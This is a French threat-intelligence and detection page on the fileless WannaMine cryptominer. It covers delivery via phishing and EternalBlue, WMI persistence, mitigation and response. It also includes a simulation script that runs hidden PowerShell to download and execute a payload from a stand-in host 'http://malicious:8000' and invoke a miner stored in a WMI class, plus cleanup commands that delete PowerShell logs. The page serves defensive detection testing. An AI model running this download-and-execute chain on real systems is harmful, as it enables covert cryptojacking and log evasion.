Analyse du cryptomineur WannaMine : Exécution sans fichier et persistance
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
WannaMine est un ver de cryptominage sans fichier qui s’appuie sur des outils de type ‘living-off-the-land’—principalement PowerShell et Windows Management Instrumentation (WMI)—pour rester en mémoire et miner du Monero.
Enquête
WannaMine est livré soit par des emails de phishing contenant des fichiers batch malveillants, soit en exploitant la vulnérabilité SMB d’EternalBlue. Pour la persistance, il enregistre des abonnements à des événements WMI et stocke du PowerShell encodé dans des classes WMI personnalisées.
Atténuation de WannaMine
Empêchez l’exploitation d’EternalBlue en appliquant les correctifs SMB (MS17-010). Limitez l’exécution et la surveillance de PowerShell, surveillez la création inhabituelle de classes WMI et de consommateurs d’événements, et appliquez le principe du moindre privilège pour limiter l’utilisation abusive des identifiants.
Réponse
Alertez sur les comportements anormaux de PowerShell/WMI, isolez les hôtes impactés, supprimez les consommateurs/abonnements d’événements WMI malveillants, faites pivoter les identifiants potentiellement exposés, et effectuez des analyses forensiques de la mémoire pour confirmer le mineur en mémoire.
Flux d’attaque
Détections
Téléchargement ou Téléversement via Powershell (via cmdline)
Voir
Modification suspecte des Paramètres d’Alimentation (via cmdline)
Voir
LOLBAS wmic (via cmdline)
Voir
Téléchargement de Fichiers Suspects depuis une IP Directe (via proxy)
Voir
IOCs (HashMd5) à détecter : Comment WannaMine fonctionne : Un logiciel de cryptominage sans fichier
Voir
IOCs (Emails) à détecter : Comment WannaMine fonctionne : Un logiciel de cryptominage sans fichier
Voir
IOCs (SourceIP) à détecter : Comment WannaMine fonctionne : Un logiciel de cryptominage sans fichier
Voir
IOCs (DestinationIP) à détecter : Comment WannaMine fonctionne : Un logiciel de cryptominage sans fichier
Voir
Détection de cryptojacking sans fichier WannaMine [Création de processus Windows]
Voir
Détecter l’exécution de cryptominage sans fichier WannaMine via PowerShell [Windows Powershell]
Voir
Exécution de Simulation
Prérequis : Le contrôle pré-vol de la Télémétrie & Baseline doit avoir été réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer exactement la télémétrie attendue par la logique de détection.
-
Narratif de l’Attaque & Commandes :
Un attaquant obtient une exécution de code à distance sur un point de terminaison Windows. Pour éviter l’interaction de l’utilisateur, il lance PowerShell dans une fenêtre cachée (-W Hidden) sans profil (-NoP) et non-interactif (-NonI). La commande utiliseIEXpour télécharger une charge utile PowerShell depuis un serveur HTTP malveillant (http://malicious:8000/in6.ps1). Le script téléchargé enregistre une classe WMI nomméeOffice_Updatersousrootdefaultqui stocke une propriétémoncontenant un mineur de Monero encodé en Base64. L’attaquant lit ensuite la propriété via[WmiClass]et l’invoque, lançant effectivement le cryptomineur sans créer un nouveau processus. Cette séquence correspond aux trois sous-chaînes de lignes de commande de la règle de détection. -
Script de Test de Régression :
#------------------------------------------------- # Simuler l'exécution du cryptomineur sans fichier WannaMine #------------------------------------------------- $maliciousServer = "http://malicious:8000" $payloadPath = "$maliciousServer/in6.ps1" # 1. Exécution PowerShell cachée, non-interactive $cmd = "-NoP -NonI -W Hidden " + "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " + "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value" # Exécuter la commande (c'est ce que l'attaquant lancerait) Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow # Note : Le script distant (in6.ps1) doit créer la classe WMI # avec une propriété "mon" contenant le code de minage. -
Commandes de Nettoyage :
# Supprimer la classe WMI malveillante Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue # Arrêter tout processus de minage PowerShell persistant (s'il y en a eu de lancés) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.CommandLine -match "mon"} | Stop-Process -Force # Optionnel : Effacer les fichiers de transcription/journaux PowerShell créés pendant le test Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue